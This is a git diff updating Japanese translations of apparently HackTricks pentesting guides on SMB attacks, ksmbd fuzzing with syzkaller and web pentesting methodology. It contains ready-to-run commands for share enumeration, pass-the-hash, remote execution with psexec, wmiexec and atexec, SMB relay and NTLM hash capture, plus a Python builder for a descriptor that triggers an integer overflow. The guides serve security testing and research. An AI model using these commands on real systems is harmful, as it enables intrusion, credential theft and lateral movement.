-77,14 +75,14 @@ tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null echo "" && sleep .1 ``` -### **exploitを検索** +### **exploitの検索** ```bash msf> search type:exploit platform:windows target:2008 smb searchsploit microsoft smb ``` -### **可能な** Credentials +### **可能な** 認証情報 -| **Username(s)** | **Common passwords** | +| **ユーザー名** | **一般的なパスワード** | | -------------------- | ----------------------------------------- | | _(blank)_ | _(blank)_ | | guest | _(blank)_ | @@ -122,9 +120,9 @@ rpcclient -U "username%passwd" #With creds /usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@] /usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@] ``` -### ユーザー、グループ、ログオンユーザーの列挙 +### ユーザー、グループ、ログオン中のユーザーの列挙 -この情報は既に enum4linux および enum4linux-ng から収集されているはずです。 +この情報は既に enum4linux と enum4linux-ng から収集されているはずです。 ```bash crackmapexec smb 10.10.10.10 --users [-u -p ] crackmapexec smb 10.10.10.10 --groups [-u -p ] @@ -136,7 +134,7 @@ rpcclient -U "" -N 10.10.10.10 enumdomusers enumdomgroups ``` -### ローカルユーザーを列挙する +### ローカルユーザーの列挙 [Impacket](https://github.com/fortra/impacket/blob/master/examples/lookupsid.py) ```bash @@ -159,13 +157,13 @@ run rpcclient-enumeration.md {{#endref}} -### LinuxからのGUI接続 +### linux からの GUI 接続 #### ターミナルで: `xdg-open smb://cascade.htb/` -#### ファイルブラウザのウィンドウで (nautilus, thunar, etc) +#### ファイルブラウザのウィンドウ (nautilus, thunar, etc) `smb://friendzone.htb/general/` @@ -173,7 +171,7 @@ rpcclient-enumeration.md ### 共有フォルダの一覧 -アクセス可能なものがないか常に確認することをおすすめします。認証情報がない場合は **null** **credentials/guest user** を試してください。 +何かにアクセスできないか常に確認することをおすすめします。credentials を持っていない場合は **null** **credentials/guest user** を試してください。 ```bash smbclient --no-pass -L // # Null user smbclient -U 'username[%passwd]' -L [--pw-nt-hash] // #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash @@ -201,7 +199,7 @@ smbmap -u "username" -p ":" [-r/-R] [Folder] -H [-P ] #Pass-t ``` ### **手動で Windows の共有を列挙して接続する** -ホストマシンの共有を表示することが制限されており、リストを取得しようとすると接続可能な共有がないように見えることがあります。したがって、短時間で手動で共有に接続を試みる価値があります。共有を手動で列挙する際は、有効なセッション（e.g. null session or valid credentials）を使った場合に NT_STATUS_ACCESS_DENIED や NT_STATUS_BAD_NETWORK_NAME のような応答を探すとよいでしょう。これらは、共有が存在するがアクセス権がないか、または共有自体が存在しないことを示している可能性があります。 +ホストマシンの共有が表示されないよう制限されている場合があり、一覧表示しようとしても接続可能な共有が存在しないように見えることがあります。したがって、短時間で手動で共有に接続してみる価値があります。共有を手動で列挙する際は、valid session（例: null session や valid credentials）で NT_STATUS_ACCESS_DENIED や NT_STATUS_BAD_NETWORK_NAME といったレスポンスを探してください。これらは、共有が存在するがアクセス権がないのか、共有自体が存在しないのかを示す手掛かりになります。 Common share names for windows targets are @@ -214,14 +212,14 @@ Common share names for windows targets are - SYSVOL - NETLOGON -（共通の共有名は _**Network Security Assessment 3rd edition**_ より） +(Common share names from _**Network Security Assessment 3rd edition**_) You can try to connect to them by using the following command ```bash smbclient -U '%' -N \\\\\\ # null session to connect to a windows share smbclient -U '' \\\\\\ # authenticated session to connect to a windows share (you will be prompted for a password) ``` -またはこの script（null session を使用） +またはこのスクリプト（null sessionを使用） ```bash #/bin/bash @@ -243,7 +241,7 @@ done smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session ``` -### **Windows上で共有を列挙する（サードパーティ製ツール不要）** +### **Windowsで共有を列挙する（サードパーティ製ツール不要）** PowerShell ```bash @@ -262,14 +260,14 @@ net share # List shares on a remote computer (including hidden ones) net view \\ /all ``` -MMC Snap-in (グラフィカル) +MMC スナップイン（グラフィカル） ```shell # Shared Folders: Shared Folders > Shares fsmgmt.msc # Computer Management: Computer Management > System Tools > Shared Folders > Shares compmgmt.msc ``` -explorer.exe（グラフィカル）、`\\\` を入力すると利用可能な非隠し共有が表示されます。 +explorer.exe (グラフィカル)で、`\\\` を入力すると、利用可能な非表示でない共有が表示されます。 ### 共有フォルダをマウントする ```bash @@ -278,7 +276,7 @@ mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share ``` ### **ファイルのダウンロード** -接続方法については前のセクションを参照し、credentials/Pass-the-Hash を学んでください。 +前のセクションを参照して、credentials/Pass-the-Hash を使って接続する方法を学んでください。 ```bash #Search a file and download sudo smbmap -R Folder -H -A -q # Search the file in recursive mode and download it inside /usr/share/smbmap @@ -293,14 +291,14 @@ smbclient /// > mget * #Download everything to current directory ``` -コマンド: +Commands: -- mask: ディレクトリ内のファイルをフィルタリングするためのマスクを指定します（例: "" はすべてのファイル） -- recurse: 再帰をオンに切り替えます（デフォルト: off） -- prompt: ファイル名の入力プロンプトをオフにします（デフォルト: on） -- mget: mask に一致するすべてのファイルをホストからクライアントマシンにコピーします +- mask: ディレクトリ内のファイルをフィルタリングするために使用されるマスクを指定します（例: "" は全ファイル） +- recurse: 再帰をオンにする切り替え（既定: オフ） +- prompt: ファイル名のプロンプトをオフにする切り替え（既定: オン） +- mget: マスクに一致するすべてのファイルをホストからクライアントにコピーします -(_smbclient の manページからの情報_) +(_smbclient の man ページからの情報_) ### ドメイン共有フォルダの検索 @@ -308,57 +306,57 @@ smbclient /// ```bash Snaffler.exe -s -d domain.local -o snaffler.log -v data ``` -- [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) の spider. +- [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) spider. - `-M spider_plus [--share ]` - `--pattern txt` ```bash sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares' ``` -Shares の中で特に注目すべきは **`Registry.xml`** というファイルで、Group Policy を介して **autologon** に設定されたユーザの **passwords** を含んでいる可能性があります。また **`web.config`** ファイルにも認証情報が含まれていることがあります。 +Specially interesting from shares are the files called **`Registry.xml`** as they **may contain passwords** for users configured with **autologon** via Group Policy. Or **`web.config`** files as they contains credentials. > [!TIP] -> ドメイン内のすべての認証済みユーザから **SYSVOL share** は **読み取り可能** です。そこには多くの batch、VBScript、PowerShell の **scripts** が見つかることがあります。\ -> その中の **scripts** を確認すべきで、**passwords** のような機密情報が見つかるかもしれません。 +> The **SYSVOL share** is **readable** by all authenticated users in the domain. In there you may **find** many different batch, VBScript, and PowerShell **scripts**.\ +> You should **check** the **scripts** inside of it as you might **find** sensitive info such as **passwords**. -## レジストリの読み取り +## Read Registry -見つかった資格情報を使って **レジストリを読み取る** ことができる場合があります。Impacket **`reg.py`** で試すことができます: +You may be able to **read the registry** using some discovered credentials. Impacket **`reg.py`** allows you to try: ```bash sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s ``` -## Post Exploitation +## ポストエクスプロイテーション -**デフォルトの設定** の **Samba** サーバーは通常 `/etc/samba/smb.conf` にあり、いくつかの **危険な設定** を含んでいる可能性があります: +The **デフォルトの設定** a **Samba** サーバは通常 `/etc/samba/smb.conf` にあり、いくつかの **危険な設定** が含まれている可能性があります: | **設定** | **説明** | | --------------------------- | ------------------------------------------------------------------- | | `browseable = yes` | 利用可能な共有を一覧表示できるか？ | -| `read only = no` | ファイルの作成と変更を禁止するか？ | +| `read only = no` | ファイルの作成および変更を禁止するか？ | | `writable = yes` | ユーザーがファイルを作成および変更できるようにするか？ | -| `guest ok = yes` | パスワードを使わずにサービスへ接続できるようにするか？ | -| `enable privileges = yes` | 特定の SID に割り当てられた権限を尊重するか？ | -| `create mask = 0777` | 新規作成されたファイルにどの権限を割り当てるべきか？ | -| `directory mask = 0777` | 新規作成されたディレクトリにどの権限を割り当てるべきか？ | -| `logon script = script.sh` | ユーザーのログイン時にどのスクリプトを実行する必要があるか？ | -| `magic script = script.sh` | スクリプトが閉じられたときにどのスクリプトを実行するべきか？ | +| `guest ok = yes` | パスワードを使用せずにサービスへ接続を許可するか？ | +| `enable privileges = yes` | 特定のSIDに割り当てられた権限を尊重するか？ | +| `create mask = 0777` | 新たに作成されるファイルにどの権限を割り当てるか？ | +| `directory mask = 0777` | 新たに作成されるディレクトリにどの権限を割り当てるか？ | +| `logon script = script.sh` | ユーザーのログイン時に実行するスクリプトは何か？ | +| `magic script = script.sh` | スクリプトが終了したときにどのスクリプトを実行するか？ | | `magic output = script.out` | magic script の出力をどこに保存するか？ | -The command `smbstatus` gives information about the **サーバー** and about **誰が接続しているか**. +`/etc/samba/smb.conf` の設定や共有の状態は `smbstatus` コマンドで確認できます。`smbstatus` コマンドは **サーバー** と **誰が接続しているか** に関する情報を表示します。 -## Kerberos を使用して認証 +## Kerberos を使った認証 -smbclient と rpcclient を使用して Kerberos に認証できます: +ツール **smbclient** と **rpcclient** を使用して **Kerberos** に **認証** することができます: ```bash smbclient --kerberos //ws01win10.domain.com/C$ rpcclient -k ws01win10.domain.com ``` -## **コマンドの実行** +## **コマンド実行** ### **crackmapexec** -crackmapexecは、**悪用して**任意の**mmcexec, smbexec, atexec, wmiexec**を利用してコマンドを実行できます。**wmiexec**が**デフォルト**の方法です。使用するオプションはパラメータ `--exec-method` で指定できます: +crackmapexec は **mmcexec, smbexec, atexec, wmiexec** のいずれかを**悪用して**コマンドを実行できます。**wmiexec** が**デフォルト**の方法です。使用するオプションはパラメータ `--exec-method` で指定できます： ```bash apt-get install crackmapexec @@ -382,9 +380,9 @@ crackmapexec smb -d -u Administrator -H #Pass-The-Hash ``` ### [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md)**/**[**smbexec**](../../windows-hardening/lateral-movement/smbexec.md) -両方のオプションは被害者マシンに（SMB経由で_\pipe\svcctl_を使用して）**新しいサービスを作成**し、それを使って**何かを実行**します（**psexec**は実行可能ファイルをADMIN$ shareに**upload**し、**smbexec**は**cmd.exe/powershell.exe**を指して引数にpayloadを入れます --**file-less technique-**-）。\ -**詳細** は [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md)and [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md)。\ -**kali** では /usr/share/doc/python3-impacket/examples/ にあります +どちらのオプションも被害者マシン上で **新しいサービスを作成**（SMB 経由で _\pipe\svcctl_ を使用）し、それを使って **何かを実行** します（**psexec** は実行ファイルを ADMIN$ 共有に **upload** し、**smbexec** は **cmd.exe/powershell.exe** を指定して引数に payload を渡します --**file-less technique-**-）。\ +**詳細情報** は [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md)and [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\ +In **kali** it is located on /usr/share/doc/python3-impacket/examples/ ```bash #If no password is provided, it will be prompted ./psexec.py [[domain/]username[:password]@] @@ -392,19 +390,19 @@ crackmapexec smb -d -u Administrator -H #Pass-The-Hash psexec \\192.168.122.66 -u Administrator -p 123456Ww psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash ``` -**parameter**`-k` を使用すると、**NTLM** の代わりに **kerberos** で認証できます +**パラメータ**`-k`を使用すると、**NTLM**の代わりに**kerberos**で認証できます ### [wmiexec](../../windows-hardening/lateral-movement/wmiexec.md)/dcomexec -ディスクに触れたり新しいサービスを起動したりせず、DCOM を介してコマンドシェルをステルスに実行します（**port 135.** 経由）。\ -**kali** では /usr/share/doc/python3-impacket/examples/ にあります +DCOM経由（**port 135.**）でディスクに触れたり新しいサービスを起動したりせずに、コマンドシェルをステルス実行できます。\ +**kali**では /usr/share/doc/python3-impacket/examples/ にあります ```bash #If no password is provided, it will be prompted ./wmiexec.py [[domain/]username[:password]@] #Prompt for password ./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash #You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted ``` -**パラメータ**`-k` を使用すると、**NTLM** の代わりに **kerberos** に対して認証できます。 +**パラメータ**`-k` を使用すると、**kerberos** に対して **NTLM** の代わりに認証できます。 ```bash #If no password is provided, it will be prompted ./dcomexec.py [[domain/]username[:password]@] @@ -413,8 +411,8 @@ psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass ``` ### [AtExec](../../windows-hardening/lateral-movement/atexec.md) -Task Schedulerを介してコマンドを実行する（SMB経由で _\pipe\atsvc_ を使用）。\ -**kali**では /usr/share/doc/python3-impacket/examples/ にあります +Task Scheduler を介してコマンドを実行します（_\pipe\atsvc_ via SMB）。\ +**kali** では /usr/share/doc/python3-impacket/examples/ にあります ```bash ./atexec.py [[domain/]username[:password]@] "command" ./atexec.py -hashes administrator@10.10.10.175 "whoami" @@ -438,21 +436,21 @@ ridenum.py 500 50000 /root/passwds.txt #Get usernames bruteforcing that rid ``` ## SMB relay attack -この攻撃は Responder toolkit を使用して内部ネットワーク上の **SMB authentication sessions** をキャプチャし、それらを **target machine** に **relays** します。認証 **session is successful** の場合、自動的に **system** **shell** に落ちます。\ +この攻撃は Responder toolkit を使用して、内部ネットワーク上の **SMB authentication sessions** をキャプチャし、それらを **target machine** にリレーします。認証 **session** が成功すると、自動的に **system** **shell** に入ります。\ [**More information about this attack here.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) ## SMB-Trap Windows ライブラリ URLMon.dll は、ページが SMB 経由でコンテンツにアクセスしようとすると自動的にホストへ認証を試みます。例えば: `img src="\\10.10.10.10\path\image.jpg"` -これは以下の関数で発生します: +This happens with the functions: - URLDownloadToFile - URLDownloadToCache - URLOpenStream - URLOpenBlockingStream -これらは一部のブラウザやツール（Skype のような）で使用されます +Which are used by some browsers and tools (like Skype) ![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (358).png>) @@ -462,11 +460,11 @@ Windows ライブラリ URLMon.dll は、ページが SMB 経由でコンテン ## NTLM Theft -SMB Trapping と同様に、ターゲットシステム上に悪意あるファイルを配置すること（例えば SMB 経由）が SMB 認証の試行を誘発し、NetNTLMv2 ハッシュを Responder のようなツールで傍受できるようになります。そのハッシュはオフラインでクラックするか、[SMB relay attack](#smb-relay-attack) に使用できます。 +SMB Trapping と同様に、悪意のあるファイルを target system に置く（例えば SMB 経由で）ことで SMB 認証試行を誘発し、Responder のようなツールで NetNTLMv2 ハッシュを傍受できます。傍受したハッシュはオフラインでクラックするか、[SMB relay attack](#smb-relay-attack) に使用できます。 [See: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft) -## HackTricks Automatic Commands +## HackTricks 自動コマンド ``` Protocol_Name: SMB #Protocol Abbreviation if there is one. Port_Number: 137,138,139 #Comma separated if there is more than one. diff --git a/src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md b/src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md index 6d8336627..f6a3fdf9f 100644 --- a/src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md +++ b/src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md @@ -1,16 +1,16 @@ -# ksmbd 攻撃面と SMB2/SMB3 プロトコルのファジング (syzkaller) +# ksmbd 攻撃面 & SMB2/SMB3 Protocol Fuzzing (syzkaller) {{#include ../../banners/hacktricks-training.md}} ## 概要 -このページは syzkaller を用いて Linux の in-kernel SMB サーバ ksmbd を実際に操作・ファズするための実践的手法を抽象化しています。設定によるプロトコル攻撃面の拡大、SMB2 操作をチェーンできるステートフルなハーネスの構築、文法的に有効な PDUs の生成、カバレッジが低いコード経路への変異バイアス付け、focus_areas や ANYBLOB といった syzkaller の機能活用に焦点を当てます。元の調査では特定の CVE を列挙していますが、ここでは再利用可能な方法論と自分の環境に適用できる具体的スニペットを強調します。 +このページは、syzkaller を用いて Linux カーネル内 SMB サーバー (ksmbd) を動作させ、fuzz するための実践的手法を抽象化しています。設定によってプロトコルの攻撃面を拡大すること、SMB2 操作をチェインできるステートフルなハーネスを構築すること、文法的に有効な PDU を生成すること、カバレッジの薄いコードパスに対してミューテーションをバイアスすること、そして focus_areas や ANYBLOB といった syzkaller の機能を活用することに焦点を当てています。元の研究では具体的な CVE を列挙していますが、ここでは再利用可能な方法論と自分の環境に適用できる具体的スニペットを重視します。 -対象範囲: TCP 上の SMB2/SMB3。ハーネスを単純に保つため、Kerberos と RDMA は意図的に対象外です。 +Target scope: SMB2/SMB3 over TCP. Kerberos and RDMA are intentionally out-of-scope to keep the harness simple. --- -## 設定による ksmbd 攻撃面の拡張 -デフォルトの最小限の ksmbd 設定ではサーバの多くが未テストのままです。以下の機能を有効にして、追加のパーサ／ハンドラを経由し、より深いコード経路に到達させてください: +## 設定による ksmbd の攻撃面の拡大 +デフォルトでは、最小限の ksmbd 設定はサーバーの大部分を未テストのままにします。次の機能を有効にして、追加のパーサ/ハンドラを通し、より深いコードパスに到達させてください: - Global-level - Durable handles @@ -20,7 +20,7 @@ - Oplocks (on by default) - VFS objects -これらを有効にすると、次のようなモジュールでの実行が増えます: +これらを有効にすると、以下のようなモジュールでの実行が増えます: - smb2pdu.c (command parsing/dispatch) - ndr.c (NDR encode/decode) - oplock.c (oplock request/break) @@ -28,26 +28,26 @@ - vfs.c (VFS ops) - vfs_cache.c (lookup cache) -注意 -- 正確なオプションはディストリビューションの ksmbd userspace (ksmbd-tools) に依存します。/etc/ksmbd/ksmbd.conf と per-share セクションを確認し、durable handles、leases、oplocks、VFS objects を有効にしてください。 -- Multi-channel と durable handles は状態機械やライフタイムを変化させ、並列処理下で UAF/refcount/OOB バグを表面化させることがよくあります。 +Notes +- 正確なオプションはディストリの ksmbd ユーザースペース (ksmbd-tools) に依存します。/etc/ksmbd/ksmbd.conf および各共有セクションを確認して、durable handles、leases、oplocks、VFS objects を有効にしてください。 +- Multi-channel と durable handles は状態機械やライフタイムを変更し、並行性の下で UAF/refcount/OOB のバグを顕在化させることがよくあります。 --- -## ファジングのための認証とレート制限の調整 -SMB3 は有効なセッションを必要とします。ハーネスに Kerberos を実装すると複雑さが増すため、ファジングでは NTLM/guest を優先してください: +## Fuzzing のための認証とレート制限の調整 +SMB3 には有効なセッションが必要です。ハーネス内で Kerberos を実装すると複雑さが増すため、fuzzing では NTLM/guest を優先してください: -- Allow guest access and set map to guest = bad user so unknown users fall back to GUEST. -- Accept NTLMv2 (patch policy if disabled). This keeps the handshake simple while exercising SMB3 code paths. -- Patch out strict credit checks when experimenting (post-hardening for CVE-2024-50285 made simultaneous-op crediting stricter). Otherwise, rate-limits can reject fuzzed sequences too early. -- Increase max connections (e.g., to 65536) to avoid early rejections during high-throughput fuzzing. +- guest アクセスを許可し、map to guest = bad user を設定して未知のユーザーを GUEST にフォールバックさせる。 +- NTLMv2 を受け入れる（無効化されている場合はポリシーをパッチ）。これによりハンドシェイクが簡素化されつつ SMB3 のコードパスを動作させられます。 +- 実験時は厳格な credit チェックをパッチアウトする（CVE-2024-50285 の後の強化で simultaneous-op の crediting が厳しくなりました）。そうしないと、レート制限によって fuzzed シーケンスが早期に拒否されることがあります。 +- 高スループットの fuzzing 時に早期拒否を避けるため、max connections を増やす（例: 65536）。 -注意: これらの緩和はファジングを容易にするためのものであり、本番環境でこれらの設定を運用しないでください。 +注意: これらの緩和設定は fuzzing を容易にするためのものであり、本番環境でこれらの設定を適用しないでください。 --- -## Stateful Harness: Extract Resources and Chain Requests -SMB はステートフルです: 多くのリクエストは前のレスポンスで返される識別子に依存します（SessionId、TreeID、FileID ペアなど）。ハーネスはレスポンスをパースし、同一プログラム内で ID を再利用して深いハンドラに到達する必要があります（例: smb2_create → smb2_ioctl → smb2_close）。 +## ステートフルハーネス：リソース抽出とリクエストの連鎖 +SMB はステートフルです: 多くのリクエストが前のレスポンスで返される識別子に依存します（SessionId、TreeID、FileID ペアなど）。ハーネスはレスポンスをパースして同一プログラム内で ID を再利用し、深いハンドラに到達する必要があります（例: smb2_create → smb2_ioctl → smb2_close）。 Example snippet to process a response buffer (skipping the +4B NetBIOS PDU length) and cache IDs: ```c @@ -76,15 +76,15 @@ break; } ``` ヒント -- 認証/状態を共有する fuzzer プロセスを1つ維持する: ksmbd’s global/session tables による安定性とカバレッジが向上する。syzkaller は ops を async にマークして内部で再実行することで並行性を注入する。 -- Syzkaller’s experimental reset_acc_state は global state をリセットできるが、著しいパフォーマンス低下を招く可能性がある。安定性を優先して fuzzing に集中することを推奨する。 +- 認証／状態を共有する1つの fuzzer プロセスを維持する：ksmbd’s global/session tables を共有することで安定性とカバレッジが向上します。syzkaller は ops を async とマークして内部で再実行することで並行性を注入します。 +- Syzkaller’s experimental reset_acc_state は global state をリセットできますが、大幅なスローダウンを招く可能性があります。安定性を優先して fuzzing に集中してください。 --- -## 文法駆動による SMB2 生成 (有効な PDUs) -Microsoft Open Specifications の SMB2 構造体を fuzzer grammar に翻訳し、ジェネレータが構造的に有効な PDUs を生成して、体系的に dispatchers と IOCTL handlers に到達するようにする。 +## 文法駆動の SMB2 生成（有効な PDUs） +Microsoft Open Specifications の SMB2 構造を fuzzer grammar に落とし込み、ジェネレータが構造的に有効な PDUs を生成して dispatchers と IOCTL handlers に系統的に到達するようにします。 -例 (SMB2 IOCTL request): +例（SMB2 IOCTL request）： ``` smb2_ioctl_req { Header_Prefix SMB2Header_Prefix @@ -107,12 +107,12 @@ Input array[int8] Output array[int8] } [packed] ``` -このスタイルは構造体のサイズ/オフセットを正しく制御させ、blind mutation と比べてカバレッジを大幅に改善します。 +このスタイルは構造体のサイズやオフセットを正しく強制し、盲目的な変異に比べてカバレッジを劇的に改善します。 --- -## Directed Fuzzing With focus_areas -syzkaller の実験的な focus_areas を使って、現在カバレッジが弱い特定の関数/ファイルに優先的に重み付けします。JSON の例: +## focus_areas を使った Directed Fuzzing +現在カバレッジが弱い特定の関数やファイルに重みを付けるために、syzkaller の実験的な focus_areas を使用します。例（JSON）: ```json { "focus_areas": [ @@ -122,9 +122,9 @@ syzkaller の実験的な focus_areas を使って、現在カバレッジが弱 ] } ``` -これは smbacl.c の算術/オーバーフローの経路に到達する有効な ACL を構築するのに役立ちます。例えば、過大な dacloffset を持つ悪意のある Security Descriptor は整数オーバーフローを再現します。 +これは ACLs を構築して smbacl.c の arithmetic/overflow パスにヒットさせるのに役立ちます。例えば、過大な dacloffset を持つ悪意のある Security Descriptor は integer-overflow を再現します。 -再現コード（最小限の Python）： +再現ビルダー（minimal Python）: ```python def build_sd(): import struct @@ -142,8 +142,9 @@ sd += b"\xCC" * 64 return bytes(sd) ``` --- -## ANYBLOB で Coverage の停滞を打破する -syzkaller’s anyTypes (ANYBLOB/ANYRES) は複雑な構造をジェネリックに変異する blobs にまとめることを可能にします。公開されている SMB pcaps から新しいコーパスを作成し、ペイロードを syzkaller programs に変換して、pseudo-syscall（例: syz_ksmbd_send_req）を呼び出すようにします： + +## ANYBLOBでカバレッジの停滞を打破する +syzkaller’s anyTypes (ANYBLOB/ANYRES) は、複雑な構造をジェネリックに変異する blob にまとめることを可能にします。公開されている SMB pcaps から新しいコーパスを生成し、ペイロードをあなたの pseudo-syscall（例: syz_ksmbd_send_req）を呼ぶ syzkaller プログラムに変換します： ```bash # Extract SMB payloads to JSON # tshark -r smb2_dac_sample.pcap -Y "smb || smb2" -T json -e tcp.payload > packets.json @@ -166,14 +167,14 @@ f.write( f"syz_ksmbd_send_req(&(&(0x7f0000000340))=ANY=[@ANYBLOB=\"{pdu}\"], {hex(pdu_size)}, 0x0, 0x0)" ) ``` -これにより探索を素早く開始でき、UAFs（例: ksmbd_sessions_deregister）を即座に引き起こすことがあり、カバレッジが数パーセント上昇します。 +これにより探索が急速に開始され、例えば ksmbd_sessions_deregister のような箇所で UAFs を即座に誘発し、カバレッジを数パーセント向上させることがあります。 --- -## Sanitizers: KASANを超えて -- KASANはヒープバグ（UAF/OOB）の主要な検出器であり続ける。 -- KCSANはこのターゲットではしばしば誤検知や低重大度のデータ競合を報告することがある。 -- UBSAN/KUBSANは、配列インデックスのセマンティクスのためにKASANが見逃す宣言境界のミスを検出できる。例: +## Sanitizers: Beyond KASAN +- KASAN はヒープバグ (UAF/OOB) の主要な検出器のままです。 +- KCSAN はこのターゲットで誤検知や重大度の低い data races を報告することが多いです。 +- UBSAN/KUBSAN は、配列インデックスのセマンティクスのために KASAN が見逃す宣言された境界の誤りを検出できます。例: ```c id = le32_to_cpu(psid->sub_auth[psid->num_subauth - 1]); struct smb_sid { @@ -185,24 +186,24 @@ Setting num_subauth = 0 triggers an in-struct OOB read of sub_auth[-1], caught b --- -## スループットと並列性の注意 -- 単一の fuzzer プロセス（shared auth/state）は ksmbd に対して一般的にかなり安定しやすく、syzkaller の内部 async executor により races/UAFs を依然として表面化させます。 -- 複数の VMs を使うと、全体で毎秒数百の SMB コマンドに到達できます。関数レベルのカバレッジは fs/smb/server の約60% と smb2pdu.c の約70% 程度が達成可能ですが、state-transition カバレッジはこれらの指標では過小評価されがちです。 +## スループットと並列実行に関する注意 +- 単一の fuzzer プロセス（shared auth/state）は ksmbd に対してかなり安定する傾向があり、syzkaller の内部 async executor により races/UAFs を依然として検出できます。 +- 複数の VMs を使うと、全体で数百の SMB コマンド/秒 に達することがあります。関数レベルのカバレッジは fs/smb/server の約 60% と smb2pdu.c の約 70% 程度が得られますが、状態遷移のカバレッジはこれらの指標では過小評価されがちです。 --- -## 実践チェックリスト -- ksmbd で durable handles、leases、multi-channel、oplocks、VFS objects を有効にする。 +## 実用チェックリスト +- ksmbd で durable handles、leases、multi-channel、oplocks、および VFS objects を有効にする。 - guest と map-to-guest を許可し、NTLMv2 を受け入れる。credit limits をパッチで除去し、fuzzer の安定性のために max connections を引き上げる。 -- SessionId/TreeID/FileIDs をキャッシュし、create → ioctl → close を連鎖する stateful harness を構築する。 -- 構造的妥当性を維持するために SMB2 PDUs 用の grammar を使用する。 -- focus_areas を使ってカバレッジの低い関数（例: smbacl.c のパス、smb_check_perm_dacl など）に重み付けする。 -- 実際の pcaps から ANYBLOB でシードして停滞を打破する。シードは再利用のために syz-db でパッキングする。 -- KASAN + UBSAN で実行し、UBSAN の declared-bounds レポートは慎重にトリアージする。 +- SessionId/TreeID/FileIDs をキャッシュする stateful harness を構築し、create → ioctl → close をチェーンする。 +- 構造的妥当性を保つために SMB2 PDUs 用の grammar を使用する。 +- focus_areas を使用してカバレッジが弱い関数（例: smbacl.c の smb_check_perm_dacl のようなパス）に重みを付ける。 +- 実際の pcaps から ANYBLOB をシードとして投入して停滞を打破し、シードを syz-db でパックして再利用する。 +- KASAN + UBSAN で実行し、UBSAN の declared-bounds レポートを慎重にトリアージする。 --- -## 参考 +## 参考資料 - Doyensec – ksmbd Fuzzing (Part 2): https://blog.doyensec.com/2025/09/02/ksmbd-2.html - syzkaller: https://github.com/google/syzkaller - ANYBLOB/anyTypes (commit 9fe8aa4): https://github.com/google/syzkaller/commit/9fe8aa4 @@ -213,6 +214,6 @@ Setting num_subauth = 0 triggers an in-struct OOB read of sub_auth[-1], caught b - KCSAN: https://docs.kernel.org/dev-tools/kcsan.html - Microsoft Open Specifications (SMB): https://learn.microsoft.com/openspecs/ - Wireshark Sample Captures: https://wiki.wireshark.org/SampleCaptures -- 補足読み物: pwning.tech “Tickling ksmbd: fuzzing SMB in the Linux kernel”; Dongliang Mu’s syzkaller notes +- Background reading: pwning.tech “Tickling ksmbd: fuzzing SMB in the Linux kernel”; Dongliang Mu’s syzkaller notes {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/README.md b/src/network-services-pentesting/pentesting-web/README.md index f47fd6912..6dba851f7 100644 --- a/src/network-services-pentesting/pentesting-web/README.md +++ b/src/network-services-pentesting/pentesting-web/README.md @@ -2,9 +2,9 @@ {{#include ../../banners/hacktricks-training.md}} -## 基本情報 +## Basic Info -Webサービスは最も**一般的かつ広範なサービス**であり、**さまざまな種類の脆弱性**が多く存在します。 +Webサービスは最も **一般的かつ広範なサービス** であり、**さまざまな種類の脆弱性** が多数存在します。 **デフォルトポート:** 80 (HTTP), 443(HTTPS) ```bash @@ -24,38 +24,38 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0 web-api-pentesting.md {{#endref}} -## 手法の概要 +## 方法論の概要 -> この手法では、ドメイン（またはサブドメイン）1つだけを攻撃対象とすることを想定します。したがって、スコープ内で発見された各ドメイン、サブドメイン、または未特定のウェブサーバをホストするIPごとに、この手法を適用してください。 +> この方法論では、ドメイン（またはサブドメイン）1つのみを攻撃することを想定します。したがって、この方法論は、スコープ内で判別されていない web server を持つ各発見されたドメイン、サブドメイン、または IP に対して適用してください。 -- [ ] まずはウェブサーバーで使用されている**技術**を**特定**してください。技術を特定できたら、テストの残りで留意すべき**トリック**を探してください。 -- [ ] その技術のバージョンに対して既知の**脆弱性**はありますか？ -- [ ] 